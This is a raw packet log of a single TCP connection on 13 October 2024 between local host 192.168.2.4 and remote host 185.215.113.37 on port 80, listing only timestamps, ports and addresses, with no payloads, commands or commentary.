Oct 13, 2024 11:54:12.630636930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630665064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630696058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630714893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630714893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630752087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630769968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630783081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630811930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630817890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630858898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630867958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630877972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630903006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630927086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630938053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630968094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630975008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631016016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631026983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631036997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631076097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631083012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631108999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631130934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631143093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631174088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631192923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631211042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631231070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631247997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631279945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631290913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631314993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631337881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631346941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631372929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631402016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631409883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631459951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631469011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631503105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631527901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631548882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631552935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631588936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631611109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631620884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631649971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631653070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631669044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631688118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631710052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631721973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631746054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631753922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631787062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631788015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631824970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631827116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631860018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631864071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631881952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631894112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631922007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631927013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631942034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.631959915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.631993055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.632000923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.632025957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.632042885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.632059097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.632064104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.632091999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.632102013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.632122993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.632123947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.632158041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.632173061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.632193089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.632195950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.632219076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.632241011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633260012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633292913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633312941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633326054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633358002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633359909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633403063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633411884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633420944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633446932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633470058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633497953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633513927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633528948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633558035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633559942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633579016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633596897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633626938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633629084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633661985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633663893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633682013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633696079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633719921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633729935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633749962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633764029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.633789062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.633829117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.721676111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.721728086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.721761942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.721831083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.721884966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.721882105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.721883059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.721883059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.721883059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.721919060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.721954107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.721977949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.721977949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722006083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722007990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722043991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722073078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722100973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722115993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722136974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722163916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722171068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722188950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722223043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722234964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722275019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722280979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722315073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722332954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722347975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722372055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722379923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722414017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722415924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722440958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722449064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722471952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722482920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722501993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722520113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722537994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722553968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722577095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722589016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722615004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722637892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722649097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722672939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722696066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722723961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722733021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722758055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722784996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722790003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722810030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722826004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722856998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722858906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722881079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722894907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722918034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722929001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722948074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722963095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.722989082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.722997904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723014116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723031998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723063946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723063946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723087072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723097086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723130941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723136902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723170042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723184109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723191023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723217964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723244905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723268986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723274946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723300934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723330021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723335028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723367929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723372936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723392010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723429918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723439932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723473072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723494053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723505974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723539114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723539114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723582983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723582983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723603964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723618031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723640919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723650932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723679066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723685980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723718882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723721981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723751068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723752022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723774910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723787069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723813057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723820925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723840952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723855019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723877907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723886013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723911047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723915100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723932981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723939896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723948956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723964930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723968029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.723983049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.723984003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.724000931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.724003077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.724019051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.724030018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.724035025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.724052906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.724070072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.724096060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.813369989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.818473101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.041886091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.041946888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.041981936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042059898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042113066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042115927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042117119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042148113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042181015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042200089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042200089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042217016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042223930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042252064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042272091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042272091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042304039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042340040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042366028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042375088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042398930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042409897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042439938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042444944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042465925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042498112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042510033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042531967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042560101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042583942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042592049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042644978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042653084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042679071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042706013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042711973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042730093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042746067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042768002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042778015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042809010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042815924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042831898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042850018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042876005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042882919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042896986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042916059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042938948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042949915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.042977095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.042984009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043000937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043019056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043037891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043070078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043085098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043103933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043119907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043137074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043158054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043175936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043198109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043207884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043229103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043242931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043263912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043275118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043293953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043308020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043330908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043358088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043366909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043426991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043427944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043478966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043487072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043514967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043536901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043546915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043575048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043597937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043601990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043653011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.043654919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.043687105 CEST	80	49730	185.215.113.37	192.168.2.4
